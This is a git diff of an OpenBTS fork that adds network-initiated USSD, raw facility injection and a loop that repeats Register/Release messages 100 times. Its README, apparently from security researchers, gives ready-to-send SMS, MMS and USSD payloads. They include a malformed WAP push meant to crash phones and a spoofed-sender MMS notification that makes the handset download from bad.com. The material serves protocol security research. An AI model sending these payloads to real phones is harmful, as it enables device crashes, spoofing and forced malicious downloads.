53fceac2..7661f0bf --- a/Control/L3MMLayer.cpp +++ b/Control/L3MMLayer.cpp @@ -30,6 +30,7 @@ #include "ControlCommon.h" #include "L3TranEntry.h" #include "L3SMSControl.h" +#include "L3SupServ.h" #include namespace Control { @@ -80,6 +81,18 @@ void MMContext::startSMSTran(TranEntry *tran) tran->lockAndStart(); } +void MMContext::startSSTran(TranEntry *tran) +{ + { + ScopedLock lock(gMMLock,__FILE__,__LINE__); // Make sure. + LOG(INFO) << "new MTSS"<mmGetTran(MMContext::TE_SS).isNULL()); + this->mmConnectTran(MMContext::TE_SS,tran); + initMTSS(tran); + } +} + // (pat) WARNING: If this routine returns true it has performed the gMMLock.unlock() corresponding to a lock() in the caller. // Setting the lock in one function and releasing it in another sucks and should be fixed. bool MMUser::mmuServiceMTQueues() // arg redundant with mmuContext->channel. @@ -87,6 +100,7 @@ bool MMUser::mmuServiceMTQueues() // arg redundant with mmuContext->channel. devassert(gMMLock.lockcnt()); // Caller locked it. //ScopedLock lock(mmuLock,__FILE__,__LINE__); // TODO: check for blocks on our IMSI or TMSI? + //LOG(INFO) << "SS mmuServiceMTQueues()"; // TODO: Move this to the logical channel main thread. // Service the MMC queues. @@ -118,6 +132,15 @@ bool MMUser::mmuServiceMTQueues() // arg redundant with mmuContext->channel. return true; } } + if (mmuContext->mmGetTran(MMContext::TE_SS).isNULL()) { + LOG(INFO) << "SS mmuContext->mmGetTran(MMContext::TE_SS).isNULL()"; + if (mmuMTSSq.size()) { + TranEntry *tran = mmuMTSSq.pop_frontr(); + gMMLock.unlock(); + mmuContext->startSSTran(tran); + return true; + } + } return false; } @@ -234,6 +257,9 @@ GSM::ChannelType MMUser::mmuGetInitialChanType() const return GSM::SDCCHType; } } + if (mmuMTSSq.size()){ + return GSM::SDCCHType; + } devassert(mmuMTSMSq.size()); return GSM::SDCCHType; } @@ -716,6 +742,9 @@ void MMUser::mmuAddMT(TranEntry *tran) case L3CMServiceType::MobileTerminatedShortMessage: mmuMTSMSq.push_back(tran); break; + case L3CMServiceType::SupplementaryService: + mmuMTSSq.push_back(tran); + break; default: assert(0); } diff --git a/Control/L3MMLayer.h b/Control/L3MMLayer.h old mode 100644 new mode 100755 index d1a60217..c9c88f1f --- a/Control/L3MMLayer.h +++ b/Control/L3MMLayer.h @@ -71,6 +71,7 @@ class MMUser : public MemCheckMMUser /*: public RefCntBase*/ { typedef PtrList MMUQueue_t; MMUQueue_t mmuMTCq; MMUQueue_t mmuMTSMSq; + MMUQueue_t mmuMTSSq; friend class MMLayer; MMState mmuState; MMContext* mmuContext; @@ -152,6 +153,7 @@ class MMContext : public MemCheckMMContext /*: public RefCntBase*/ { unsigned mNextTI; InterthreadQueue mmcServiceRequests; // Incoming CM Service Request messages. void startSMSTran(TranEntry *tran); + void startSSTran(TranEntry *tran); void MMContextInit(); void mmcFree(TermCause cause); // This is the destructor. It is not public. Can only delete from gMMLayer because we must lock the MMUserMap first. diff --git a/Control/L3MobilityManagement.cpp b/Control/L3MobilityManagement.cpp old mode 100644 new mode 100755 diff --git a/Control/L3MobilityManagement.h b/Control/L3MobilityManagement.h old mode 100644 new mode 100755 diff --git a/Control/L3SMSControl.cpp b/Control/L3SMSControl.cpp old mode 100644 new mode 100755 index 265ad4c2..60c314c4 --- a/Control/L3SMSControl.cpp +++ b/Control/L3SMSControl.cpp @@ -443,8 +443,8 @@ bool MTSMSMachine::createRPData(RPData &rp_data) RPDUbits.LSB8MSB(); // bit flip ready for Tx TLAddress tlcalling = TLAddress(tran()->calling().digits()); const char *dcsStr = gConfig.getStr("SMS.DCS").c_str(); - if (strncmp(dcsStr,"4",1)==0) { - dcs=4; // 8 bit hex + if (strncmp(dcsStr,"0",1)!=0) { // if NOT 7 bit... + dcs=atoi(dcsStr); } const char *udhiStr = gConfig.getStr("SMS.UDHI").c_str(); if (strncmp(udhiStr,"1",1)==0) { diff --git a/Control/L3SMSControl.h b/Control/L3SMSControl.h old mode 100644 new mode 100755 diff --git a/Control/L3StateMachine.cpp b/Control/L3StateMachine.cpp old mode 100644 new mode 100755 index b0c8e207..bac7ee3b --- a/Control/L3StateMachine.cpp +++ b/Control/L3StateMachine.cpp @@ -32,7 +32,9 @@ #include #include #include +#include +using namespace std; using namespace GSM; namespace Control { @@ -257,6 +259,8 @@ static void handleStatus(const L3Message *l3msg, MMContext *mmchan) static bool handleCommonMessages(const L3Message *l3msg, MMContext *mmchan, bool *deletemsg) { *deletemsg = true; + LOG(INFO) << "USSD " << L3CASE_RAW(l3msg->PD(),l3msg->MTI()); + switch (L3CASE_RAW(l3msg->PD(),l3msg->MTI())) { case L3CASE_RR(L3RRMessage::PagingResponse): NewPagingResponseHandler(dynamic_cast(l3msg),mmchan); @@ -602,6 +606,8 @@ static void csl3HandleFrame(const GSM::L3Frame *frame, L3LogicalChannel *lch) l3msg = parseL3(*frame); if (l3msg) { WATCHINFO(lch <<" received L3 message "<<*l3msg); + //print msg to console + LOG(INFO) << "USSD RX: " << *l3msg; } else { LOG(ERR) < #include #include - +#include +#include // Generic SS messages are transferred by the Facility IE, whose content is described by 24.080 4.61 // and by an ASN description in the 24.080 appendix. This encoding is actually part of the GSM MAP reference @@ -551,7 +552,7 @@ class L3USSDMessage { string ssMap2Ussd(const unsigned char *mapcmd,unsigned maplen) { SSMapCommand cmd(mapcmd,maplen); - LOG(DEBUG) << cmd.text(); + LOG(DEBUG) << "USSD " << cmd.text(); return cmd.ssGetUssd(); } @@ -570,6 +571,20 @@ class MOSSDMachine : public SSDBase { void sendUssdMsg(string ussdin, bool final); }; +// SS can also be network initiated... +class MTSSDMachine : public SSDBase { + enum State { // These are the machineRunState states for our State Machine. + stateStartUnused, // unused. + stateSSIdentResult + }; + bool mIdentifyResult; + unsigned mInvokeId; + public: + MTSSDMachine(TranEntry *wTran) : SSDBase(wTran) {} + const char *debugName() const { return "MTSSDMachine"; } + void sendUssdMsg(string ussdin, string type); +}; + // (pat) Used for SS messages arriving in Call Control messsages. // Should be called mishandle, since I dont know what to do about this case. // When I tried to send USSD messages within a call on the Blackberry, it disallowed it, @@ -597,6 +612,82 @@ MachineStatus SSDBase::handleSSMessage(const GSM::L3Message*l3msg) return MachineStatusOK; // not reached but makes g++ happy } +std::string hex_to_string(const std::string& input) +{ + static const char* const lut = "0123456789abcdef"; + size_t len = input.length(); + if (len & 1) LOG(INFO) << "USSD odd length hex string: " << len; + + std::string output; + output.reserve(len / 2); + for (size_t i = 0; i < len; i += 2) + { + char a = input[i]; + const char* p = std::lower_bound(lut, lut + 16, a); + if (*p != a) LOG(INFO) << "USSD invalid digit in hex string:" << a; + + char b = input[i + 1]; + const char* q = std::lower_bound(lut, lut + 16, b); + if (*q != b) LOG(INFO) << "USSD invalid digit in hex string:" << b; + + output.push_back(((p - lut) << 4) | (q - lut)); + } + return output; +} + +void MTSSDMachine::sendUssdMsg(string ussd, string type) +{ + // 0 Register+facility then release complete ("I made a popup on the phone!") + // 1 Send string as is. ("My phone died?!") + string components; + + if(atoi(type.c_str())==1){ + // expert mode for big boys only + // Sends the REGISTER type then an undefined facility + // the facility is left up to you to define within 'ussd' + components=hex_to_string(ussd); + LOG(INFO) << "USSD hex_to_string" << components; + }else{ + // beginner mode + char mapbuf[260]; + mapbuf[0] = 0xa1; // component type tag = Invoke (24.080 3.6.2) + mapbuf[1] = ussd.size() + 13; // component length. + mapbuf[2] = 0x02; // component id tag == InvokeID + mapbuf[3] = 0x01; // invoke id length + mapbuf[4] = this->mInvokeId; // Must be copied from original USSD request. + mapbuf[5] = 0x02; // OperationCodeTag + mapbuf[6] = 0x01; // OperationCode length + mapbuf[7] = unstructuredSSNotify; // The MAP message type. + mapbuf[8] = 0x30; // Sequence tag. + mapbuf[9] = ussd.size() + 5; // Sequence length. + mapbuf[10] = 0x04; // string type + mapbuf[11] = 1; // length of param + mapbuf[12] = 0xff; // 0x0f = 7bit, 0xff = 8bit + mapbuf[13] = 0x04; // string type + mapbuf[14] = ussd.size(); // length of param + memcpy(&mapbuf[15],ussd.data(),ussd.size()); + components = string(mapbuf,15+ussd.size()); + } + + LOG(INFO) << "sendUssdMsg() map=" << data2hex(components.data(),components.size()); + L3SupServFacilityIE facility(components); + L3SupServFacilityIE nullfacility(""); // if you want a relcomplete without a facility + + // REGISTER+FACILITY then RELEASE. + // If you don't release you must restart openbts :( + if(atoi(type.c_str())==2){ + for(int i=0; i<100; i++){ + channel()->l3sendm(L3SupServRegisterMessage(getL3TI(), facility)); + channel()->l3sendm(L3SupServReleaseCompleteMessage(getL3TI(), facility)); + } + + }else{ + channel()->l3sendm(L3SupServRegisterMessage(getL3TI(), facility)); + channel()->l3sendm(L3SupServReleaseCompleteMessage(getL3TI(), facility)); + } + +} + void MOSSDMachine::sendUssdMsg(string ussdin, bool final) { string ussd = ussdEncode(ussdin); @@ -634,17 +725,24 @@ void MOSSDMachine::sendUssdMsg(string ussdin, bool final) } } +void initMTSS(TranEntry *tran) +{ + LOG(INFO) << "USSD initMTSS(" << tran << ")"; + MTSSDMachine *mtss = new MTSSDMachine(tran); + mtss->sendUssdMsg(tran->mMessage,tran->mContentType); +} void startMOSSD(const L3CMServiceRequest*cmsrq,MMContext *mmchan) { - LOG(DEBUG) <l3sendm(L3CMServiceReject(L3RejectCause::Service_Option_Not_Supported)); return; - } + }*/ + LOG(INFO) << "startMOSSD()"; MOSSDMachine *ssmp = new MOSSDMachine(tran); // The message is CMServiceRequest. @@ -688,7 +786,8 @@ MachineStatus MOSSDMachine::machineRunState(int state, const GSM::L3Message *l3m string ussd = mapcmd.ssGetUssd(); this->mInvokeId = mapcmd.ssInvokeID; SIP::SipDialog::newSipDialogMOUssd(tran()->tranID(),tran()->subscriber(),ussd,channel()); - return MachineStatusOK; + //return MachineStatusOK; + return MachineStatus::QuitTran(TermCause::Local(L3Cause::USSD_Success)); } case L3CASE_SS(L3SupServMessage::Facility): { const L3SupServFacilityMessage *facp = dynamic_cast(l3msg); diff --git a/Control/L3SupServ.h b/Control/L3SupServ.h old mode 100644 new mode 100755 index f10f88d9..c4049b05 --- a/Control/L3SupServ.h +++ b/Control/L3SupServ.h @@ -31,6 +31,7 @@ class SSDBase : public MachineBase { }; void startMOSSD(const GSM::L3CMServiceRequest*cmsrq, MMContext *mmchan); +void initMTSS(TranEntry *tran); string ssMap2Ussd(const unsigned char *mapcmd,unsigned maplen); }; diff --git a/Control/L3TermCause.cpp b/Control/L3TermCause.cpp old mode 100644 new mode 100755 diff --git a/Control/L3TermCause.h b/Control/L3TermCause.h old mode 100644 new mode 100755 diff --git a/Control/L3TranEntry.cpp b/Control/L3TranEntry.cpp old mode 100644 new mode 100755 index 1f9519e4..97d283b5 --- a/Control/L3TranEntry.cpp +++ b/Control/L3TranEntry.cpp @@ -244,7 +244,19 @@ TranEntry *TranEntry::newMTSMS( return result; } - +// USSD +TranEntry *TranEntry::newMTSS( + const FullMobileId& msid, + string ssBody, + string ssType) // 0 Register, 1 Facility, 2 Release complete +{ + TranEntry *result = new TranEntry(NULL,GSM::L3CMServiceType::SupplementaryService); + result->mSubscriber = msid; + result->mMessage = ssBody; + result->mContentType = ssType; + gNewTransactionTable.ttAdd(result); + return result; +} // Form for inbound handovers. TranEntry *TranEntry::newHandover( @@ -1409,6 +1421,7 @@ bool TranEntry::handleMachineStatus(MachineStatus status) // If no proc is specified here, assume that teSetProcedure was called previously and start the currentProcedure. bool TranEntry::lockAndStart(MachineBase *wProc) { + LOG(INFO) << "SS " << wProc; bool result = false; RefCntPointer saver = this; { ScopedLock lock(mL3RewriteLock,__FILE__,__LINE__); @@ -1418,7 +1431,7 @@ bool TranEntry::lockAndStart(MachineBase *wProc) } else { wProc = currentProcedure(); devassert(wProc); // Someone set the currentProcedure before calling this method. - } + } result = handleMachineStatus(wProc->callMachStart(wProc)); } return result; diff --git a/Control/L3TranEntry.h b/Control/L3TranEntry.h old mode 100644 new mode 100755 index e392000f..7c49c518 --- a/Control/L3TranEntry.h +++ b/Control/L3TranEntry.h @@ -390,6 +390,10 @@ class TranEntry : public MemCheckTranEntry, public RefCntBase, public TranEntryP string smsBody, string smsContentType); + static TranEntry *newMTSS( + const FullMobileId& msid, + string ssBody, + string ssType); static TranEntry *newHandover(const struct sockaddr_in* peer, unsigned wHandoverReference, diff --git a/Control/L3Utils.cpp b/Control/L3Utils.cpp old mode 100644 new mode 100755 diff --git a/Control/L3Utils.h b/Control/L3Utils.h old mode 100644 new mode 100755 diff --git a/Control/Makefile.am b/Control/Makefile.am old mode 100644 new mode 100755 diff --git a/Control/PagingEntry.cpp b/Control/PagingEntry.cpp old mode 100644 new mode 100755 diff --git a/Control/PagingEntry.h b/Control/PagingEntry.h old mode 100644 new mode 100755 diff --git a/Control/README.Control b/Control/README.Control old mode 100644 new mode 100755 diff --git a/Control/RRLPServer.cpp b/Control/RRLPServer.cpp old mode 100644 new mode 100755 diff --git a/Control/RRLPServer.h b/Control/RRLPServer.h old mode 100644 new mode 100755 diff --git a/Control/RRLP_PDU_Test.cpp b/Control/RRLP_PDU_Test.cpp old mode 100644 new mode 100755 diff --git a/Control/TMSITable.cpp b/Control/TMSITable.cpp old mode 100644 new mode 100755 diff --git a/Control/TMSITable.h b/Control/TMSITable.h old mode 100644 new mode 100755 diff --git a/Control/ladders.awk b/Control/ladders.awk old mode 100644 new mode 100755 diff --git a/GPRS/BSSG.cpp b/GPRS/BSSG.cpp old mode 100644 new mode 100755 diff --git a/GPRS/BSSG.h b/GPRS/BSSG.h old mode 100644 new mode 100755 diff --git a/GPRS/BSSGMessages.cpp b/GPRS/BSSGMessages.cpp old mode 100644 new mode 100755 diff --git a/GPRS/BSSGMessages.h b/GPRS/BSSGMessages.h old mode 100644 new mode 100755 diff --git a/GPRS/ByteVector.cpp b/GPRS/ByteVector.cpp old mode 100644 new mode 100755 diff --git a/GPRS/ByteVector.h b/GPRS/ByteVector.h old mode 100644 new mode 100755 diff --git a/GPRS/CS4.txt b/GPRS/CS4.txt old mode 100644 new mode 100755 diff --git a/GPRS/FEC.cpp b/GPRS/FEC.cpp old mode 100644 new mode 100755 diff --git a/GPRS/FEC.h b/GPRS/FEC.h old mode 100644 new mode 100755 diff --git a/GPRS/GPRSCLI.cpp b/GPRS/GPRSCLI.cpp old mode 100644 new mode 100755 diff --git a/GPRS/GPRSExport.h b/GPRS/GPRSExport.h old mode 100644 new mode 100755 diff --git a/GPRS/GPRSInternal.h b/GPRS/GPRSInternal.h old mode 100644 new mode 100755 diff --git a/GPRS/GPRSRLC.h b/GPRS/GPRSRLC.h old mode 100644 new mode 100755 diff --git a/GPRS/GPRSTDMA.h b/GPRS/GPRSTDMA.h old mode 100644 new mode 100755 diff --git a/GPRS/MAC.cpp b/GPRS/MAC.cpp old mode 100644 new mode 100755 diff --git a/GPRS/MAC.h b/GPRS/MAC.h old mode 100644 new mode 100755 diff --git a/GPRS/MSInfo.cpp b/GPRS/MSInfo.cpp old mode 100644 new mode 100755 diff --git a/GPRS/MSInfo.h b/GPRS/MSInfo.h old mode 100644 new mode 100755 diff --git a/GPRS/Makefile.am b/GPRS/Makefile.am old mode 100644 new mode 100755 diff --git a/GPRS/MsgBase.cpp b/GPRS/MsgBase.cpp old mode 100644 new mode 100755 diff --git a/GPRS/MsgBase.h b/GPRS/MsgBase.h old mode 100644 new mode 100755 diff --git a/GPRS/RLC.cpp b/GPRS/RLC.cpp old mode 100644 new mode 100755 diff --git a/GPRS/RLCEngine.cpp b/GPRS/RLCEngine.cpp old mode 100644 new mode 100755 diff --git a/GPRS/RLCEngine.h b/GPRS/RLCEngine.h old mode 100644 new mode 100755 diff --git a/GPRS/RLCHdr.h b/GPRS/RLCHdr.h old mode 100644 new mode 100755 diff --git a/GPRS/RLCMessages.cpp b/GPRS/RLCMessages.cpp old mode 100644 new mode 100755 diff --git a/GPRS/RLCMessages.h b/GPRS/RLCMessages.h old mode 100644 new mode 100755 diff --git a/GPRS/RList.h b/GPRS/RList.h old mode 100644 new mode 100755 diff --git a/GPRS/ScalarTypes.h b/GPRS/ScalarTypes.h old mode 100644 new mode 100755 diff --git a/GPRS/TBF.cpp b/GPRS/TBF.cpp old mode 100644 new mode 100755 diff --git a/GPRS/TBF.h b/GPRS/TBF.h old mode 100644 new mode 100755 diff --git a/GPRS/makefile.pat b/GPRS/makefile.pat old mode 100644 new mode 100755 diff --git a/GPRS/makefile.tests b/GPRS/makefile.tests old mode 100644 new mode 100755 diff --git a/GPRS/notes.txt b/GPRS/notes.txt old mode 100644 new mode 100755 diff --git a/GPRS/pat.txt b/GPRS/pat.txt old mode 100644 new mode 100755 diff --git a/GPRS/pinghttp.c b/GPRS/pinghttp.c old mode 100644 new mode 100755 diff --git a/GPRS/todo.txt b/GPRS/todo.txt old mode 100644 new mode 100755 diff --git a/GSM/AppInfTest.cpp b/GSM/AppInfTest.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSM610Tables.cpp b/GSM/GSM610Tables.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSM610Tables.h b/GSM/GSM610Tables.h old mode 100644 new mode 100755 diff --git a/GSM/GSMCCCH.cpp b/GSM/GSMCCCH.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMCCCH.h b/GSM/GSMCCCH.h old mode 100644 new mode 100755 diff --git a/GSM/GSMChannelHistory.cpp b/GSM/GSMChannelHistory.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMChannelHistory.h b/GSM/GSMChannelHistory.h old mode 100644 new mode 100755 diff --git a/GSM/GSMCommon.cpp b/GSM/GSMCommon.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMCommon.h b/GSM/GSMCommon.h old mode 100644 new mode 100755 diff --git a/GSM/GSMConfig.cpp b/GSM/GSMConfig.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMConfig.h b/GSM/GSMConfig.h old mode 100644 new mode 100755 diff --git a/GSM/GSML1FEC.cpp b/GSM/GSML1FEC.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML1FEC.h b/GSM/GSML1FEC.h old mode 100644 new mode 100755 diff --git a/GSM/GSML2LAPDm.cpp b/GSM/GSML2LAPDm.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML2LAPDm.h b/GSM/GSML2LAPDm.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3CCElements.cpp b/GSM/GSML3CCElements.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3CCElements.h b/GSM/GSML3CCElements.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3CCMessages.cpp b/GSM/GSML3CCMessages.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3CCMessages.h b/GSM/GSML3CCMessages.h old mode 100644 new mode 100755 index dac9847d..90524c1b --- a/GSM/GSML3CCMessages.h +++ b/GSM/GSML3CCMessages.h @@ -13,7 +13,7 @@ This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.mcall */ diff --git a/GSM/GSML3CommonElements.cpp b/GSM/GSML3CommonElements.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3CommonElements.h b/GSM/GSML3CommonElements.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3GPRSElements.cpp b/GSM/GSML3GPRSElements.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3GPRSElements.h b/GSM/GSML3GPRSElements.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3MMElements.cpp b/GSM/GSML3MMElements.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3MMElements.h b/GSM/GSML3MMElements.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3MMMessages.cpp b/GSM/GSML3MMMessages.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3MMMessages.h b/GSM/GSML3MMMessages.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3Message.cpp b/GSM/GSML3Message.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3Message.h b/GSM/GSML3Message.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3RRElements.cpp b/GSM/GSML3RRElements.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3RRElements.h b/GSM/GSML3RRElements.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3RRMessages.cpp b/GSM/GSML3RRMessages.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSML3RRMessages.h b/GSM/GSML3RRMessages.h old mode 100644 new mode 100755 diff --git a/GSM/GSML3SSMessages.cpp b/GSM/GSML3SSMessages.cpp old mode 100644 new mode 100755 index 2ff88934..990677ef --- a/GSM/GSML3SSMessages.cpp +++ b/GSM/GSML3SSMessages.cpp @@ -111,13 +111,13 @@ void L3SupServFacilityIE::text(ostream& os) const L3SupServMessage * L3SupServFactory(L3SupServMessage::MessageType MTI) { - LOG(DEBUG) << "Factory MTI"<< (int)MTI; + LOG(INFO) << "Factory MTI"<< (int)MTI; switch (MTI) { case L3SupServMessage::Facility: return new L3SupServFacilityMessage(); case L3SupServMessage::Register: return new L3SupServRegisterMessage(); case L3SupServMessage::ReleaseComplete: return new L3SupServReleaseCompleteMessage(); default: { - //LOG(NOTICE) << "no L3 NonCallSS factory support for message "<< MTI; + LOG(INFO) << "no L3 NonCallSS factory support for message "<< MTI; return NULL; } } diff --git a/GSM/GSML3SSMessages.h b/GSM/GSML3SSMessages.h old mode 100644 new mode 100755 diff --git a/GSM/GSMLogicalChannel.cpp b/GSM/GSMLogicalChannel.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMLogicalChannel.h b/GSM/GSMLogicalChannel.h old mode 100644 new mode 100755 diff --git a/GSM/GSMRadioResource.cpp b/GSM/GSMRadioResource.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMRadioResource.h b/GSM/GSMRadioResource.h old mode 100644 new mode 100755 diff --git a/GSM/GSMSMSCBL3Messages.cpp b/GSM/GSMSMSCBL3Messages.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMSMSCBL3Messages.h b/GSM/GSMSMSCBL3Messages.h old mode 100644 new mode 100755 diff --git a/GSM/GSMTAPDump.cpp b/GSM/GSMTAPDump.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMTAPDump.h b/GSM/GSMTAPDump.h old mode 100644 new mode 100755 diff --git a/GSM/GSMTDMA.cpp b/GSM/GSMTDMA.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMTDMA.h b/GSM/GSMTDMA.h old mode 100644 new mode 100755 diff --git a/GSM/GSMTransfer.cpp b/GSM/GSMTransfer.cpp old mode 100644 new mode 100755 diff --git a/GSM/GSMTransfer.h b/GSM/GSMTransfer.h old mode 100644 new mode 100755 diff --git a/GSM/Makefile.am b/GSM/Makefile.am old mode 100644 new mode 100755 diff --git a/GSM/PhysicalStatus.cpp b/GSM/PhysicalStatus.cpp old mode 100644 new mode 100755 diff --git a/GSM/PhysicalStatus.h b/GSM/PhysicalStatus.h old mode 100644 new mode 100755 diff --git a/GSM/PowerManager.cpp b/GSM/PowerManager.cpp old mode 100644 new mode 100755 diff --git a/GSM/PowerManager.h b/GSM/PowerManager.h old mode 100644 new mode 100755 diff --git a/GSM/gsmtap.h b/GSM/gsmtap.h old mode 100644 new mode 100755 diff --git a/GSMShare/A51.cpp b/GSMShare/A51.cpp old mode 100644 new mode 100755 diff --git a/GSMShare/A51.h b/GSMShare/A51.h old mode 100644 new mode 100755 diff --git a/GSMShare/A51Test.cpp b/GSMShare/A51Test.cpp old mode 100644 new mode 100755 diff --git a/GSMShare/AMRTest.cpp b/GSMShare/AMRTest.cpp old mode 100644 new mode 100755 diff --git a/GSMShare/AmrCoder.cpp b/GSMShare/AmrCoder.cpp old mode 100644 new mode 100755 diff --git a/GSMShare/AmrCoder.h b/GSMShare/AmrCoder.h old mode 100644 new mode 100755 diff --git a/GSMShare/GSM503Tables.cpp b/GSMShare/GSM503Tables.cpp old mode 100644 new mode 100755 diff --git a/GSMShare/GSM503Tables.h b/GSMShare/GSM503Tables.h old mode 100644 new mode 100755 diff --git a/GSMShare/L3Enums.cpp b/GSMShare/L3Enums.cpp old mode 100644 new mode 100755 diff --git a/GSMShare/L3Enums.h b/GSMShare/L3Enums.h old mode 100644 new mode 100755 diff --git a/GSMShare/Makefile.am b/GSMShare/Makefile.am old mode 100644 new mode 100755 diff --git a/GSMShare/Viterbi.h b/GSMShare/Viterbi.h old mode 100644 new mode 100755 diff --git a/GSMShare/ViterbiR204.cpp b/GSMShare/ViterbiR204.cpp old mode 100644 new mode 100755 diff --git a/GSMShare/ViterbiR204.h b/GSMShare/ViterbiR204.h old mode 100644 new mode 100755 diff --git a/GSMShare/ViterbiTest.cpp b/GSMShare/ViterbiTest.cpp old mode 100644 new mode 100755 diff --git a/Globals/GlobalVars.cpp b/Globals/GlobalVars.cpp old mode 100644 new mode 100755 diff --git a/Globals/Globals.cpp b/Globals/Globals.cpp old mode 100644 new mode 100755 diff --git a/Globals/Globals.h b/Globals/Globals.h old mode 100644 new mode 100755 diff --git a/Globals/Makefile.am b/Globals/Makefile.am old mode 100644 new mode 100755 diff --git a/INSTALL b/INSTALL old mode 100644 new mode 100755 diff --git a/INSTALLATION b/INSTALLATION old mode 100644 new mode 100755 diff --git a/LEGAL b/LEGAL old mode 100644 new mode 100755 diff --git a/Makefile.am b/Makefile.am old mode 100644 new mode 100755 diff --git a/Makefile.common b/Makefile.common old mode 100644 new mode 100755 diff --git a/NEWS b/NEWS old mode 100644 new mode 100755 diff --git a/Peering/Makefile.am b/Peering/Makefile.am old mode 100644 new mode 100755 diff --git a/Peering/NeighborTable.cpp b/Peering/NeighborTable.cpp old mode 100644 new mode 100755 diff --git a/Peering/NeighborTable.h b/Peering/NeighborTable.h old mode 100644 new mode 100755 diff --git a/Peering/Peering.cpp b/Peering/Peering.cpp old mode 100644 new mode 100755 diff --git a/Peering/Peering.h b/Peering/Peering.h old mode 100644 new mode 100755 diff --git a/README b/README old mode 100644 new mode 100755 index 0d1cb5cf..a250288f --- a/README +++ b/README @@ -1,180 +1,80 @@ -Welcome to the OpenBTS source code. +# OpenBTS + +OpenBTS fork with a few extras for SMS/MMS/USSD testing. Ensure you have a GSM licence first. +https://www.contextis.com/resources/blog/binary-sms-old-backdoor-your-new-thing/ + + - MT SMS/MMS with custom TPDUs + - MT USSD with custom facilities + +This took months to get right. GSM is *ridiculously* complicated but stubborn persistence, wireshark and ignorance pays off eventually... +The scripts we use to send SMS, MMS & USSD PDUs are not included. + +## Setup +http://openbts.org/w/index.php?title=BuildInstallRun +``` +git clone https://github.com/RangeNetworks/dev.git +cd dev +./clone.sh +./switchto.sh master +./build.sh B200 +rm -rf openbts +git clone https://github.com/ctxis/openbts.git +cd openbts +make +``` +## Logging +Run wireshark on loopback with filter 'gsm_sms' +``` +OpenBTS> rawconfig.GSMTAP.TargetIP 127.0.0.1 +OpenBTS> rawconfig Control.GSMTAP.GSM 1 +``` +Also enable SMS logging then tail logs: +``` +OpenBTS> rawconfig Log.Level.L3SMSControl.cpp DEBUG +tail -f /var/log/OpenBTS.log | grep -i SMS +``` + +## Mobile Terminated SMS + +### Hello from 12345 +``` +OpenBTS> rawconfig SMS.MIMEType text/plain +OpenBTS> sendsms 23415914952xxxx 12345 Hello +``` +### Multipart 8-bit WSP Push with UDH header and (malformed) WBXML +Header is a Lebara WBXML config message but body is garbage. This could crash your phone. +``` +OpenBTS> rawconfig SMS.UDHI 1 +OpenBTS> rawconfig SMS.DCS 4 +OpenBTS> rawconfig SMS.MIMEType application/vnd.3gpp.sms +SMS.MIMEType changed from "text/plain" to "application/vnd.3gpp.sms" +OpenBTS> sendsms 2341591721xxxx 12345 0B05040B8423F00003AA02017468697320697320612074657374206f6620636f6e636174656e617465642062696e61727920534d532077697468206120554448206865616465722e20496620796f752063616e207265616420746869 +OpenBTS> sendsms 23415917212xxxx 12345 0B05040B8423F00003AA02027320796f752070726f6261626c792077616e7420746f206368616e67652074686520706f7274206e756d62657273206e6f7720616e6420646f20736f6d657468696e67206e61737479 +``` + +### Notify MMS, 8-bit, .vcf contact card with UDH header and spoofed originator +This will trigger a download from http://bad.com/x.php if you have mobile data on. WiFi doesn't count. +You can DL MMS Multimedia from *anywhere* on the internet which is dangerous/great! +A .mms file download needs to be specially formatted but this is beyond the scope of OpenBTS. +``` +OpenBTS> sendsms 23415917212xxxx 12345 0B05040B8423F000039001010f0603beaf848c8298393039303930008d908919802b31323334352f545950453d504c4d4e008a808e0201d888058103ffffff83687474703a2f2f6261642e636f6d2f782e7068703f393039303930009580 +``` +## Mobile Terminated USSD +Normally USSD codes like *#100# are used from the MS (Mobile originated / MO) but they can come from the network (MT). They're used by disaster warning systems and third world banking apps. A notify facility (0x3d) creates a pop-up msg, a request facility (0x3c) creates a pop-up form which returns the response as a notify. Custom facilities implemented by networks get parsed in the background without prompting the user making this a powerful and little known remote control protocol. + +USSD Wireshark filter: +``` +gsmtap.chan_type == 7 && !icmp +``` + +### "Godzilla! run for your lives!" notify facility +``` +sendss 23415917212xxxx "Godzilla! run for your lives!" 0 +``` +### "Godzilla! run for your lives!" as a raw facility including headers +``` +OpenBTS> sendss 23415917212xxxx a12a02013702013d30220401ff041d476f647a696c6c612c2072756e20666f7220796f7572206c6976657321 1 +``` -For free support, please subscribe to openbts-discuss@lists.sourceforge.net. -See http://sourceforge.net/mailarchive/forum.php?forum_name=openbts-discuss -and https://lists.sourceforge.net/lists/listinfo/openbts-discuss for details. -A5/3 support requires installation of liba53. This can be installed from: -git@github.com:RangeNetworks/liba53.git - -Starting with release 4, OpenBTS requires zeromq (zmq). This can be installed by running: -$ sudo 